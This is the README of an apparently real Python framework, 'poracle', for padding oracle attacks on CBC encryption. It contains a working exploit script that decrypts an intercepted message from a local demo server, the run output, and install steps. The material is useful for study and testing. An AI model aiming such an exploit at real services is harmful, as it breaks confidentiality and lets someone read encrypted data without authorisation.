Padding Oracle Attack Framework

poracle is a framework to perform convenient attacks on encryption used in CBC mode providing a padding oracle. If you would like to read more about padding oracles in general then here is a great paper about it.

All you have to do in order to break the encryption using poracle is to define the interface. There are two functions to do that:

• a function that returns the ciphertext that should be considered
• a function that reveals the occurence of a padding error for a passed ciphertext

Interface

The decrypter class can be used with:

• Decrypter(blocksize, interface, verbose=False)
• Decrypter.run(remove_pad=True)

The interface of the oracle must look like:

class Interface:
    def oracle(self, ciphertext):
        """ This function expects a ciphertext and returns true if there is
        no padding error and false otherwise.

        Args:
            ciphertext (bytes): the ciphertext that should be checked
        """

        raise NotImplementedError

    def intercept(self):
        """ This function should serve a ciphertext by returning it as
        bytes-object. If you know the initialization vector you should use
        it as prefix of the returned ciphertext in order to decrypt the whole
        message (of course except the IV).
        """

        raise NotImplementedError

Example

There is an exemplary implementation of a backend server that is vulnerable against a padding oracle attack. The exploit to break an intercepted message using poracle can be seen in the example folder.

An exploit with poracle might look like:

#!/usr/bin/env python3

import base64
import requests

import poracle

class thisInterface(poracle.Interface):
    def oracle(self, ciphertext):
        ctx = base64.urlsafe_b64encode(ciphertext).decode()
        url = "http://127.0.0.1:8080/search?data={0}".format(ctx)
        r = requests.get(url)
        return "no results found" in r.text

    def intercept(self):
        leak = "/search?data=ODE3MzY0ODI5MTgyNjQwMZf5bBNoKx0M2X3LN1di9W9YwrrC935vOcf0Tb2E7YilFQA8UsJdzphd0Yb0h3DRTP5TBXYPpYArrD3qbad2iPU="
        return base64.urlsafe_b64decode(leak[len("/search?data="):])

def main():
    print("[+] starting exploitation")
    interface = thisInterface()
    plaintext = poracle.OracleAttack(16, interface, True).decrypt(interface.intercept(), remove_pad=True)
    print("[+] decrypted message:", plaintext.decode())

if __name__ == "__main__":
    main()

An example run of that code:

$ cd example/
$ go run service.go &
$ python3 exploit.py
[+] starting oracle attack
[+] revealed block: b' nothing.\x07\x07\x07\x07\x07\x07\x07'
[+] revealed block: b'realize you know nothing.\x07\x07\x07\x07\x07\x07\x07'
[+] revealed block: b'w, the more you realize you know nothing.\x07\x07\x07\x07\x07\x07\x07'
[+] revealed block: b'The more you know, the more you realize you know nothing.\x07\x07\x07\x07\x07\x07\x07'

[+] decrypted message: The more you know, the more you realize you know nothing.
python3 exploit.py  7.57s user 0.48s system 92% cpu 8.696 total

Installation

As someone asked me to give a short list of commands to install poracle using python virtual env here we go:

$ mkdir foobar ; cd foobar
$ git clone https://github.com/ppmx/poracle.git
$ python3 -m venv poracle-venv
$ cd poracle
$ ../poracle-venv/bin/python3 setup.py install
$ cd ../ ; source poracle-venv/bin/activate
$ python3
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import poracle
>>>

First we clone the repository and create the virtual environment. Then we use the venv python to install the package into the virtual environment and activate it.